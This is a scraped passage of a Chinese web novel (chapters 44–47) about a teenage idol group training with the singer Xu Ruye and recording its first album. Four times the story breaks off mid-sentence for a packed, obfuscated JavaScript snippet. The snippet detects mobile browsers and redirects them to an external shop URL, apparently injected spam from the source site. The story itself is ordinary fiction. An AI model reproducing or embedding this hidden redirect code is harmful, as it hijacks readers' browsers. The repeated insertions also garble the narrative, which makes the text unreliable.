邱以星见他一脸恳求,突然间猛地按住孔栩的大腿,一只手捏住孔栩的小腿肚,宽大的手掌心揉捏起小腿最酸的部位。 孔栩眉头一下皱紧,倒吸一口凉气,两手攥紧了邱以星的衣角。 想动但没抽出自己的腿,邱以星的按摩很有技巧性,他又疼又爽,一口气憋在胸口,半天没能吐出来。 陈颂见状把腿也伸过来:“邱以星,给我按一个。” 孔栩下意识把陈颂的腿踹开:“这可不行。” “为什么不行?”陈颂说,“就凭你们认识时间长?” “我来给你按,”孔栩伸出魔爪,重重出击,“我弹琴的,专业对口。” 陈颂没太在意,谁按都一样,少爷从小被保姆服侍惯了,受了点累开始哼哼唧唧。 谁知冷不防被孔栩的爪子按了一下大腿,孔栩的手劲不是盖的,琴键被他按坏不知道多少个,陈颂只觉得大腿一阵发麻,好似被九阴白骨爪攻击,发出杀猪一般的惨叫,满屋子乱窜。 “小木鱼,”邱以星拎着孔栩后颈,把试图去追陈颂的孔栩拽回来,笑容淡了点,“回来,别闹。” 夏桃杉给他们从冰箱里拿来几瓶饮料,屋子里开了空调,热烘烘的,冷饮一下肚,五脏六腑打了个舒服的哆嗦。 他们几个在舞蹈教室打打闹闹的样子全程被屋子里的摄像头捕捉,可这几人没心没肺,没有一人察觉。 因为Kevin太严厉,几人对接下来的声乐老师充满了可怕的猜想。 孔栩说:“项姐有没有透露会是哪个大魔王来当我们的声乐老师?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069289|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆笑蓉摇头,自信满满:“能比Kevin还要大魔王?我在网上唱歌这么长时间,再挑剔的老师应该也挑不出多少问题吧。” 随后项汝怡敲了敲舞蹈教室的门,和颜悦色地对他们说:“你们出来,下楼接一下老师。” 身形高挑的夏桃杉与四位跛足少年一同下了楼,他们心中的疑惑更甚,是哪位老师派头这么大,自己进来不行么,还要人接? 见了人之后,五人一道傻眼,恨不能提前半小时给人铺上红毯,红毯撒上鲜花,在门口吹喇叭鞠躬欢迎。 ——来人是徐如夜。 徐如夜戴着一副黑色墨镜,随意穿了件红棕色的夹克衫,上半身潇洒落拓,脚踩一双棉拖鞋,施施然地溜达过来了。 他率先跟这五个愣在原地、嘴张得老大,仿佛被雷劈了似的少年们打了个招呼:“哟,没见过真人吧,可以过来摸一下。” 陈颂目瞪口呆:“怎么是你?!” 徐如夜耸耸肩,语气平常:“怎么不能是我了,还有比我更专业的声乐老师吗?” 陈颂:“我以为你能给我们写歌就已经是天大的恩情。” 徐如夜拍拍陈颂的肩膀:“你知道就好,以后可要好好孝敬我老人家。” 陈颂:“老人家?你别倚老卖老,你就比我大几岁!” 徐如夜没理他,径直一人上了楼,项汝怡在前边带路,点头哈腰殷勤地说:“徐老师,给您泡了茶,这么大老远的,辛苦您了,您在休息室歇会儿。” “不用,”徐如夜摘了眼镜,摆手说,“也没多远。” 陆笑蓉率先回魂,不假思索,三步并两步追过去,大喊:“徐老师,让我摸一下,我没摸过!” 徐如夜最近比较闲,大半年都没怎么出过门,闷得头上即将长一排蘑菇。 前段时间苏虹给他接了个活,当《声而逢时》的总决赛评委,目前节目刚海选完毕,距离总决赛还有很长一段时间,以至于他继续宅在家里大门不出二门不迈。 苏虹担心他长期一个人呆在家里心理出什么问题,还非常贴心地给他收养了一条流浪狗,该狗是条大型金毛,每天都得按时出门遛两次,不然就在家里乱尿,不仅如此,每次给狗洗澡都是第三次世界大战。苏虹还差点给他报名一个北欧旅行团出门散心,北欧那么冷,他疑心苏虹是在故意折磨自己,硬是没答应。 徐如夜觉得要是再不给自己找点事做,苏虹指不定想出什么馊点子变本加厉地恶心他,所以项汝怡一邀请,他就过来了,姑且不提报酬,主要是为了躲避家里的傻狗和苏虹。 陆笑蓉如愿以偿摸到了徐如夜的手,打算接下来一个星期都不洗手了。 这哪是大魔王,而是神呐!神中之神! 由于歌神滤镜,大家对徐如夜恭谨有加,前簇后拥,热情地一口一个“徐老师”。 再加上徐如夜本人一点儿架子也没有,成天挂着一张笑眯眯的面孔,以至于让他们忘记,徐如夜是个对音乐多严苛、多容不得一丝一毫沙子的强迫症患者。 45. 第 45 章 从专业角度来说,找不到比徐如夜更符合他们需求的音乐老师,但从人性化的角度来说,也找不到比徐如夜更不是人的人。 徐如夜走进音乐教室,脱了夹克衫扔在沙发上,露出里面修身的黑色针织毛衣。 他先是自顾自玩了会儿架子鼓,咚咚哒咚咚哒,墙面四壁做了吸音处理,声音听起来有点干。 音乐教室里面有不少乐器,录音设备也一应俱全,五个人跟小鸡仔似的围在徐如夜身边听他打鼓,大气也不敢喘一下。 片刻后徐如夜放下鼓槌,坐在凳子上,提了下西装裤,露出西装裤下一双毛绒绒的拖鞋。 徐如夜的穿搭向来时尚到令人摸不着头脑,此前有狗仔专门跟拍徐如夜,试图扒出此人的不良嗜好却一无所获,怒而制作一期徐如夜“乱穿集锦”,一度引起当年的“混搭热潮”。 时尚达人徐如夜此刻点着毛绒拖鞋,懒散地伸了个懒腰,终于开口了:“先来个热身运动吧。” 几人激动,心想,徐如夜这是要教他们怎么开嗓了。 徐如夜一本正经:“先做个广播体操活动活动。” 他点开手机播放器的广播体操的音乐:“第三套全国中学生广播体操《舞动青春》现在开始……一二三四……” 徐如夜:“愣着干什么,做操啊。” 五人短暂地愣神后,慌慌张张地做起操来,在学校要做广播操,没想到来这里也得做操。 孔栩一边做伸展运动,一边按捺住吐槽的心思,不小心踩到邱以星的脚,他站了几个小时,腿软绵绵的没有力气,邱以星扶了他一把,孔栩感激地朝他笑笑。 邱以星扶完就松了手。 徐如夜等他们跳完广播体操,让他们几人站成一排,挨个询问他们会什么乐器,学了多久。 陈颂:“你知道的,我只会吉他,水平嘛,也就那样。” “我小学学过琵琶和二胡,后来没碰过。”陆笑蓉气喘吁吁,巴巴地问,“难不成您要教我们乐器?” 徐如夜不语,看向夏桃杉,夏桃杉说:“呃,我会一点古筝和钢琴。” 邱以星:“我不太会乐器,前段时间孔栩教过我钢琴。” 孔栩看了他一眼,纳闷邱以星为什么总说自己不会弹吉他,他明明是众所周知的吉他手,果不其然陆笑蓉质疑道:“你乐队的吉他手诶,这么谦虚干什么?” 邱以星淡淡说:“真不会。” 陆笑蓉斜他一眼,觉得邱以星实在太装,往旁边挪了两步。 徐如夜问孔栩:“那你呢?” “我会钢琴,其他的也稍微会一点。”孔栩说。 徐如夜垂下眼,不知在思考什么,随即他抬头,环顾整个音乐教室,对他说:“会多少,表演给我看看。” 换做是别人对孔栩这么说,孔栩百分百会回个白眼,问他“你算老几”,但对徐如夜还是要给点面子。 于是他坐在架子鼓面前开始打鼓,干净利落,律动抓耳,没等人欣赏够,转身去弹电子琴,钢琴对他来说跟玩似的,电子琴自然不在话下。 他弹了一会《天空之城》,弹完拿纸巾把竖笛和口风琴擦了擦,依次吹奏竖笛和口风琴,吹完又弹了三十秒的中阮,弹毕拿起挂在墙上的小提琴开始拉埃尔加《爱的致意》。 《爱的致意》是埃尔加写给未婚妻的作品,旋律柔美动听,孔栩之前在某亲戚的婚礼上拉过,比较熟悉。 整个教室里飘荡着他的小提琴声,他的手腕线条纤细漂亮,紧绷起来柔韧而有力度,眉眼舒展,姿势放松,拉完之后整个教室安静得落针可闻。 孔栩:“徐老师,你之前看过我弹吉他,我就不弹了。” 徐如夜表情复杂地看着他:“你……” 陆笑蓉目瞪口呆,喃喃道:“你一个人就是一个组合,何苦跟我们这帮人组队?” 邱以星也是第一次看见孔栩演奏这么多乐器,他总是在琴房弹钢琴,邱以星以为他只会弹钢琴,上次弹吉他已经足够令他惊艳,而孔栩此刻像是在发光,令他胸口感到一阵紧绷。 孔栩对陆笑蓉说:“如果你小时候被关在只有乐器的房间里,也能跟我一样。” 陆笑蓉摆手:“那还是算了。” 这些孔栩没对邱以星说过,他自小就没有娱乐,除了学习就是练琴,何斯清工作忙没时间带他玩,他就一个人在学校的琴房鼓捣各种乐器,音乐老师见了也会教教他,久而久之学习里的乐器他便摸熟,不管拿到什么都能拉一拉、弹一弹。 对他来说不是多愉快的记忆,也不是多值得骄傲的事,那些苦闷而无聊的童年时光,他就是这样一天一天度过的。 徐如夜接下来又让他们一人唱了首擅长的歌,听他们的音色和音准,走调最严重的是陈颂,他问陈颂:“你是不是还在变声期?” 陈颂乐器不如人,歌也没人唱得好,本来就有点自惭形秽,被徐如夜一问,脑袋耷拉下来,声音跟蚊子哼似的:“徐老师,你用得着这么损我么。” 夏桃杉的音准不到位,陆笑蓉和邱以星音准到位,但没人教他们正确发声,长期下去会导致嗓子出问题。 最后是孔栩,孔栩的声音没什么问题,可徐如夜吹毛求疵地认为他的歌声欠缺了些什么。 徐如夜当即决定,为他们每人制定一份专属训练计划,虽然组合总体水平比他预想得要好,可谁叫他是徐如夜呢,天王老子来了唱歌不行也得站直挨批。 其他人都得到了属于自己的厚厚一叠训练计划,孔栩却什么都没有,孔栩疑惑之际,徐如夜却招招手,让他单独去会议室,两人进行了一次交流。 徐如夜大腿翘二腿,姿态闲适地靠着椅背,问他:“听说你之前是奔着钢琴职业演奏家去的,为什么答应项汝怡来当什么歌手?” 孔栩不假思索回答道:“演奏家是我妈妈的梦想,而我想试试人生其他的可能性。” “你就一点儿也不怕失败?”徐如夜说,“如今这个年头,姑且不说那些依旧活跃在歌坛的歌手们,还有无数网络歌手层出不穷,你凭什么觉得可以从他们手中分一杯羹?” “我没想分,”孔栩有些无奈了,“徐老师,我真的没考虑那么远。你们每个人都问我为什么要做这样的选择,我只是想试试,如果不行,折戟了,我也认了。但人活着,有时候不就是为了拼那么一点可能性吗?徐老师,您最开始唱歌那会儿,难道一直坚定地认为自己以后一定会成为歌神吗?” 徐如夜沉默了两秒钟,笑了:“那倒没有。” 孔栩挑挑眉,意思是,你看吧。 徐如夜:“因为我第一首歌就火了,所以没想过这些有的没的。” 孔栩:“……” 徐如夜见孔栩一脸生无可恋,收敛了逗他玩的心思,他说:“你唱歌最大的问题在于你太在乎‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074341|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准确’,你弹琴也是这样吧,在乎自己是不是弹对了……但太在乎反而会失去更多,你已经处在一个很‘满’的状态里,现在不是要往里面加东西,而是要释放出来一些。我这么说你听得懂吗?” 孔栩迷茫:“不懂。” 徐如夜换了个说法:“你谈过恋爱吗?” 孔栩:“没有。” 徐如夜追问:“有喜欢的什么人没有?” 孔栩愁眉苦脸,更无奈了:“……也没有,这跟我弹琴唱歌有什么关系吗?” “你年纪太小了,又没有经历过什么大风大浪,”徐如夜笑得如同一只千年狐狸精,“没体验过生老病死,但至少可以体验一段恋爱。恋爱失败了,说不定还能写出一首旷绝古今的情歌。一个人,如果总想着不出错,那岂不是和机器人没什么区别?” 孔栩不敢苟同,心说,那可不行,要是先知道是失败的伤心的恋爱,那还有必要谈吗?不是纯纯浪费时间吗? 不过他表面上是个尊师重道的小孩,点点头:“谢谢徐老师,我会考虑的。” 其他人在音乐教室里面学呼吸,学发声,咿咿呀呀,徐如夜一边指导,一边臭骂,忙个不停。 而孔栩戴着耳塞坐在墙角写课外作业,习惯一时半会改不了,不做点什么就让他心里发慌。 徐如夜说教不了他什么,让他目前这个阶段顺其自然,说不定在未来某个时间点突然开窍,反正他还年轻,矫枉过正未必明智,徐如夜那个不着调的办法只在他脑中一闪而过,很快就被他抛在脑后。 剩下的时间,他只回家取了一次衣服,年前就再也没回过家。 上学时,家于他而言最大的用处是有张床供他睡一觉,更像一个旅馆。 现在由于训练得太晚,他们五个人直接在公司安排的员工宿舍住下了。 宿舍是个套间,总共有三间屋子,两个女孩一间,孔栩和邱以星一间,陈颂单独一间,项汝怡说他们几个人住一起,也助于培养他们之间的同伴感情。 训练期间他跟何斯清没通过一次电话,他给何斯清发消息,说晚上不回家,何斯清也一直没回复。孔栩偶尔能在学校远远地看见何斯清步履匆匆的身影,她身边围着一帮叽叽喳喳的学生,她总耐心地为他们解答。 他不意外何斯清对他的漠视,他只是有偶尔的几个瞬间会感到失落。 十二月如期降临,每天早上闹钟一响,项汝怡会挨个敲门喊他们起床。 项汝怡俨然成了他们的半个妈,上至最近训练情况,下至学校周考成绩,面面俱到,无一不操心。 陆笑蓉因为英语没考好,被项汝怡一通批之后,每天早上提前半小时起床痛不欲生地背单词。 早上味同嚼蜡匆匆吃过早饭,司机送他们去学校上学,下午一放学,司机早早候在校门口等着接他们去公司训练。 没想到白天在学校的日子变成了一天中最幸福最轻松的时刻,孔栩见缝插针地在课间、各种副课上写作业,邱以星见他这么努力,只好向他看齐,不会的在车上问他,勉勉强强没有落后太多。 其他同学只知道他们俩最近跟打了鸡血似的,搞得下课都没人离开自己的座位。 有时候冯新会来二班串门,孔栩分身乏术抽不出空理他,他就放下一袋零食再偷偷摸摸地离开。 他走后,孔栩再把零食投喂给周围的人,奇怪的是,邱以星从来不吃。 46. 第 46 章 时间是指缝间的水,抓不住,只好任其流失。 每天都过得极度充实,充实到没有时间思考是否疲惫,是否值得。 Kevin的舞蹈形体课终于告一段落,不说多会跳舞,至少他们的身体不再那么硬邦邦的,变得柔韧有力,行止坐卧在镜头下挑不出多少错。 徐如夜的声乐课仍在继续,与他生活上的闲散不着调恰好相反,他对音乐的吹毛求疵简直到了令人发指的地步。 进行了一段时间的发声训练后,徐如夜开始让他们听音记谱,他说公司对组合的要求不仅仅是个年轻的偶像歌手组合,也得会创作,以后是要自己写歌编曲的。 他们都懂乐理,所以没有太过犯难,难的是徐如夜拿出了一首歌,让他们重新编曲。 出道之前项汝怡说徐如夜会帮他们写歌,徐如夜潜心搞创作的时候确实写了不少歌压箱底,还没卖,一来是找不到合适的人唱,二来他完美主义总想再改改。 光5的专辑全程由徐如夜亲自操刀,徐如夜选了三首歌,再加上孔栩与邱以星一起写的那首《崭新的歌》,打算做一张新专辑,专辑主题是“要有光”。 制定专辑总体概念那天,音乐制作部门加上项汝怡和徐如夜几个人开了个短会。 组合虽然一开始是玩票性质,但陈闵能请项汝怡过来,就说明大老板其实是想把组合做好的,项汝怡不求他们一出道就红透半边天,但至少不能石子落入水潭,扑通一声就没影了。 整个下午,核心部门和徐如夜根据他们的音色确认了他们在组合里唱什么声部,以及人设和包装。 人设问题向来是重中之重,项汝怡认为人设就以他们日常生活中表现的为主,自然一点,别搞得太高大上,最后人设崩塌,被万人嘲。 孔栩晚上和邱以星一起回宿舍,先是跟大家一起吃了饭,然后独自一人去音乐教室弹琴。 不久邱以星也跟了过来,坐在孔栩身侧,静静地看他弹琴,不说话。 孔栩很享受这样安静的氛围,好像他们又重新回到了琴房只有他们两个人的时候。 “要不要一起?”孔栩侧过脸,手指轻轻落在琴键上,问邱以星。 “弹哪一首?” “就徐老师布置的作业吧。” 孔栩说的是徐如夜写的那首歌,作为专辑名称和主打歌的《要有光》。 徐如夜这段时间由于频繁出门,不留神被人拍到传到了网上,他那奇妙的穿搭再次惹人群嘲,网上清一色地质问他有时间出门逛,没时间写歌,又说他江郎才尽,天才背后是一把辛酸泪……搞得他十分恼火,近期不再打算出门,让他们把曲子编好后,发他邮箱。 徐如夜写的这首歌旋律很动听,是徐如夜一贯的风格,只用钢琴演奏,显得空灵温柔。 两人同坐一张琴凳上四手联弹,上次一起弹的还是《卡农》,邱以星的节奏明显有了进步,也不需要孔栩刻意放慢速度等他,弹完之后孔栩还有些意犹未尽,好像给心脏做了一次按摩,所有压力暂时被抚平了。 门口传来一阵掌声,陆笑蓉扎起长发,风风火火地走进屋,嘴里念叨着:“太好听了,钢琴版的就不错,为什么非要编曲?我们之前又没编曲经验,能编得过他吗?” “也不一定会用我们编的,应该是让我们尝试怎么编曲。”孔栩觉得徐如夜的目的不是刁难他们,而是给他们试错的余地,毕竟他是专辑的制作人,即使他们编得不理想,徐如夜肯定还是会给他们兜底。 陆笑蓉把监听耳机挂在脖子上,坐上MIDI键盘前的旋转椅,转了半个圈,面对孔栩,两手一摊:“我不会,你会吗?项姐说下周进录音棚录音,一周的时间能编出什么花样来?” “要不我们一起商量商量,他们人呢?”邱以星问。 “他俩写作业呢,说过会儿来,”陆笑蓉吐槽说,“他们学校最近有大考,桃子每天在宿舍要学到很晚,陈颂也挺着急的,嘴上还起了个泡,我还以为他青春期长痘呢。” “让他多喝点菊花茶。”邱以星说,“那先不叫他们了,就我们三个想想吧。” 陆笑蓉异想天开说想做个摇滚版的,里面加电吉他和鼓,再加点电子音效,想法甫一出现就被孔栩否定:“跟组合调性不搭,我们又不是摇滚乐队,首专的主打歌要慎重一点。” “其实我一直有个摇滚梦,穿皮衣皮靴,在光芒四射的舞台上我打着鼓,大风呼呼地吹着我的长发,想想就帅得要命。”陆笑蓉充满憧憬,忽然扭头问邱以星,“你之前玩乐队的时候应该很过瘾吧?” 邱以星没就此话题说些什么。 之后彭天没来骚扰过他了,可能自己已经被他拉黑也说不定,丁尧说最近火锅店生意虽没开业那天火爆,但营收一直不错,每天还能赚点儿,乐队近况他一点不知情,也存了心思不想再与乐队有什么瓜葛了。 他沉默之际,孔栩换了个话题:“徐老师说编曲不用太复杂,这张专辑大多数歌放松又励志,比较我们这个年纪的特点。既然主音定钢琴……” 孔栩拿过陆笑蓉的监听耳机,飞快点开电脑上的编曲软件,他了解大多数乐器的声音,说话声慢条斯理,让人忍不住认真倾听,陆笑蓉凑近电脑,看他把需要的乐器调出来:“那么副歌可以用弦乐,再加点提琴,或者加点军鼓,要是还有点特色可以加口哨,把整体结构搭出来再细微调整……” “你们认为呢?”孔栩说完,发现两颗脑袋在自己一左一右,频频点头。 陆笑蓉激动:“听你的,先试试。” 邱以星附和:“对,试一下。” 等夏桃杉和陈颂两人写完作业回到音乐教室,就见到他们三人坐在一起唱歌。 那首歌有了最初的雏形,徐如夜写的旋律本就抓耳,如何在不影响原曲的情况下做调整,同时丰富整首歌是他们需要考虑的问题,夏桃杉和陈颂对视一眼,都从彼此的眼中看到了巨大的惊喜。 这是一首令人感到快乐的歌,像是在晴朗的天空下自由地漫步,周围遍布绿色的植被与花香,明明是冬天,却让人情不自禁地想到春天,继而升起无尽的希望和勇气。 夏桃杉率先过去跟他们一起唱,她的声音没有陆笑蓉亮,稍微有些低,让整首曲子增添了一丝厚重感,紧接着陈颂加入,齐声唱的效果出乎意料地好,大家一起唱着歌,最后眼眶竟莫名其妙地湿了。 他们在一起也一个多月了,这一个月白天上课,晚上训练,没有休息过一天。 项汝怡还不停地给他们施加压力,说某某某又出了新歌,谁谁谁卖了多少张实体版专辑。 眼看着录歌的日子一天天接近,他们心里其实都没什么底气,觉得这一切不真实地好似一场幻梦。 这首歌把他们拉回到现实世界,有人呼出一口气,好像真的距离职业歌手近了那么一点点,他们是可以做到的。 后面一周他们几人总聚在一起商量讨论,也有争执得面红耳赤谁也不服谁的时候,但最后也都握手言和了。 把成品发给徐如夜的那天,几个人在手机前站成一排,紧张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079971|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又忐忑地等待徐如夜接视频电话。 徐如夜撂下一句:“别急,我在路上,马上到你们那,我还有几点想法跟你们探讨探讨。” “他这是什么意思?”陆笑蓉惊讶又压抑着兴奋,“徐老师说要跟我们‘探讨’,他这种说一不二的人竟然还会跟我们‘探讨’,是不是意味着我们的作业在他那及格了?” 好在第二天是周末,不用上课,徐如夜晚上独自一人开着车,十点多才到园区。 这个点连项汝怡这位超人都下班了,整个公司就剩他们六个人。 徐如夜风尘仆仆,肩头带了点外头刚下的小雪,薄薄一层,他用手掸了,旁若无人地拉开椅子,点开Cubase,对着他们编好的曲子说:“我没想到你们的完成度有这么高,但有些地方要注意,你们是歌手,你们的歌声不能被曲子抢走风头,这二者之间有个很微妙的平衡。” 一直到深夜,教室的灯还亮着,徐如夜做了最后的收尾工作,顺便将歌词的分工一并做了,让他们合了一遍。 直到这时,徐如夜终于觉得可以了,于是欣慰地点点头:“不错,明天开始录歌,辛苦完这阵子,给你们放几天假。” 说到放假,大家都异常兴奋,不禁欢呼起来。 还有一周多就元旦了,学校也放假了,他们可不想在音乐教室呆上三天,纷纷欢天喜地地喊“徐老师万岁”。 太晚了,徐如夜懒得开车回去,打算在他们员工宿舍将就一宿。 陈颂房间有两张床,一张没睡过,徐如夜规矩特多,要睡这张干净的,并把陈颂赶到孔栩他们房间,说自己从来不跟外人睡一个屋。 陈颂只好忍辱负重,抱着自己的枕头跑来敲孔栩屋门。 孔栩屋里也只有两张床,孔栩一张,邱以星一张,陈颂憋了半天,对孔栩说:“方便带我挤一个吗?” 恰逢邱以星洗完澡,他顶着干毛巾擦头发,闻言皱眉说:“你说什么?” 孔栩:“他说徐老师把他房间占了,要跟我睡一张床。” “不行,”邱以星想也不想地否决了,把陈颂的枕头往自己床上一扔,“你去睡我的床。” “我跟你?”陈颂的表情变得难以言喻,有些嫌弃道,“我才不跟你睡一起,你那么大一只,腿还那么长,别半夜给我一脚蹬下去了。” “那邱以星过来跟我睡。”孔栩想起上次他们在外面住旅馆,床比这个还小,也老老实实地睡了一晚,他拽了一下邱以星的睡衣,“可以吧?你先把头发吹干,别着凉了。” 邱以星不说话了,陈颂火速跳上邱以星的床,把他枕头扔到对面孔栩的床上,立即躺平,盖上被子,戴上眼罩,不让邱以星有半分反悔的机会。 “我……”邱以星的声音发紧,看孔栩弓腰整理枕头,孔栩理好了,拍了拍被子,自觉地躺在里侧,他毫无芥蒂地朝邱以星笑了笑:“我半夜不起床,你睡外面。” 邱以星吹干头发后,钻进被子。 被子已经被孔栩的体温烘得温热,他觉得孔栩的被子比他睡得那床要香要软,缩手缩脚地挺尸,一动也不敢动。 孔栩见他这么拘谨的样子,忽然问他:“邱以星,你冷不冷?” “……还行,有一点。” “我给你焐焐。”孔栩在被子里摸到邱以星规规矩矩放在肚子上的微凉的手指,轻轻地往自己的方向拉了一下,然后他倾过身子,顺势抱住了邱以星的腰,虽然关了灯,可邱以星感觉到孔栩发亮的眼睛和带着笑意的唇角,“我是不是特别暖和。” 47. 第 47 章 第二天,这几人还在睡梦之际,被项汝怡敲锣打鼓地叫醒去录音棚录音。 他们公司这种刚成立的小作坊,没有专业级别的录音棚,几人被迫离开热气腾腾的被窝,神魂不附体地吃早饭。 孔栩没睡够,整个人无精打采地翘着几根头发,钻进商务车后,把羽绒服的帽子一戴,靠着邱以星开始补觉。 车里只有他们安静的呼吸声。 孔栩睡得踏实且沉,邱以星的睡眠质量远远不如孔栩,昨晚孔栩搂着他睡,两个男生本就火气大,半夜他就被热醒,孔栩睡觉不规矩,无意识地踢被子,邱以星担心他感冒,只好把他两条腿勾住,不让他乱动。 他最终不乱动了,可邱以星睡不着了,孔栩软绵绵的呼吸贴着他的脖子,麻酥酥地痒。 邱以星备受折磨,到凌晨两三点才有了困意,孔栩翻了个身,柔软干燥的嘴唇擦过他的脸,邱以星骤然惊醒,刚起来的些许困意也被惊飞,他一直睁眼到早晨,神志不清猛灌两罐咖啡下肚。 陆笑蓉见状,瞠目结舌:“大哥,用得着这么拼么?” 到了地方,几人下车后被冻得一哆嗦,脑子再不清醒,也被冻醒了。 地上积了一层薄雪,徐如夜走在前面跟项汝怡说话,还没进录音棚,就听见不远处传来一阵排山倒海的欢呼。 孔栩两手插兜,脚步一顿,看见前方聚集了一帮背对着他们的男男女女,正抬着各式“长枪大炮”,对准录音棚唯一的入口。 “这是哪个大明星?”陈颂既纳闷又吃味,“嚯,阵仗真大。” 项汝怡忙让徐如夜暂时回避,本来大早上的,录音棚前不该有这么多人。 她差点以为这些人是来蹲徐如夜的,正琢磨他们从哪儿得到的消息。 她给录音棚的经理打了个电话,对方告诉她有人占着录音棚,录一晚上了还没录完,问她要不再等等。 项汝怡皱起眉,约好的时间凭什么让她等?她等也就罢了,连累徐如夜一并等,徐如夜答应制作专辑已经是给了天大的面子,再让人等,她这张脸往哪儿搁。 她刚要说话,经理压低声音,重重叹了口气,很是抱歉地说:“最多半小时,门口那些人我马上帮您清理走,实在是不好意思,我也是没办法。” “行,你这边尽快。”项汝怡克制怒气,撂了电话,回头跟徐如夜说了什么,徐如夜摆了下手,转身跟项汝怡回到车里。 没过几秒钟,出来了五六个保安过来赶人,拉了两条红色的警戒带,将门口这片空地清理出来,欢呼的人群立即被驱逐到马路对面。 孔栩这才看见,他们其中有人拿着应援手幅,上面印着夸张的一行字:?Shamash光芒万丈?沙琪玛永远相随? “咦,怎么是他们?难听的歌怎么录都难听。”陆笑蓉原本挂着凑热闹不嫌事大的笑,一见竟然是Shamash,顿时脸拉得老长,啧了一声,“大清早的,真是触霉头。” 夏桃杉小声:“嘘,别被听到了。” “被听到又怎么样,难不成我还怕他们?”她虽然这么说,声音明显低了下来,“他们那么大一公司,难道连个录音棚都没有?占我们的时间?” “我也不知道呀,”夏桃杉说,“走了,项姐叫咱们进去呢。” 孔栩他们在大厅又等了十几分钟,然后从走廊里出来一帮人。 为首的是个高大的金毛混血,孔栩好奇地多看了两眼,这人竟然连眉毛都是金色的。金毛气势汹汹,眉毛怒竖,一脸不悦,朝身旁跟他差不多高的男人说:“你他妈以后要是录到一半就走人,就自己一个人来录,别让我们跟你一起受罪。” 金毛身侧的男人倨傲的眼神轻飘飘地从众人面前一扫,并不把他们放在眼里,只在看见徐如夜时,视线略微停了片刻,眼高于顶的下巴朝徐如夜点了点,似乎在问好。 随后他扭头对金毛笑嘻嘻地,没半分愧疚地说:“别赖我,我又没让你们来呀,明明是你怕挨批,让我们偷着来录,还要怪我。” 金毛听完,火冒三丈,不再跟他辩论,三两步带着一伙人走了。 推拉玻璃门微微地晃,录音棚经理擦了擦汗,对项汝怡点头哈腰地解释:“昨晚临时加的活,哪知道这几个都是难伺候的,录了几遍都不行,大半夜还跑了一人,刚刚才全部录好。真是太不好意思了,让您久等。” 项汝怡不跟他扯这些虚的:“你收我一个小时八百,可又耽误我们时间,你给个说法。” 经理长得胖乎乎的,粉白的鼻头又流了汗:“要不这样,我给你们打八折,看在徐老师的面子上,这几天录音棚不接待其他人,只给你们用,直到你们满意为止,这么着行吗?” 项汝怡不仅是个经纪人,也是个商人,一听当然好了,她正愁着这帮崽子没录音经验,耽误时间,现在倒解决了一个麻烦,跟经理笑笑说:“劳你费心,有徐如夜监督,也用不了多长时间。” 这五个崽被扔进录音室,除了陈颂,其余人都是第一次进录音室,看什么都感到新奇。 有面墙嵌着一块大玻璃,徐如夜面无表情地坐在玻璃后面的控制室,静静地看了他们片刻。 孔栩无端打了个寒颤,心想,每次徐如夜露出这副表情,他们的日子就会变得非常难过。 果不其然,接下来的一周,他们开始了无休止的录音环节,上午录音,中午休息两小时,下午接着录,嗓子都有些受不了。 徐如夜跟个渣男一样,嘴上说着让他们多喝水,润一润。 项汝怡帮他们跟学校请了五天假,柴晓驰第一次听到这消息,有些不知所措,问了项汝怡好几遍,最后又去找何斯清确认,跟学校上报之后,才签了同意的假条。 也就是说这几人不仅每天都得泡在录音室,还得抽空上网课,项汝怡会按时检查他们作业完成情况,按照陆笑蓉的话说:简直是没了天理了。 经过徐如夜的百般折磨,四首歌终于全部录制完毕。 徐如夜点头的那刹那,他们几人精疲力竭地倒在地上,满脑子都在想,元旦要到了,他们要放假,要放假,要放假!士可杀不可不放假! 项汝怡轻轻一句话打碎了他们的美梦:“主打歌需要拍一支MV,后期宣传用,导演是前段时间拍校园剧很火的那个,分镜脚本已经发到我邮箱,我等会打印出来,你们一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082824|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一份,明天开拍。” 几人闻言,咔吧一声,恨不能就此昏死过去。 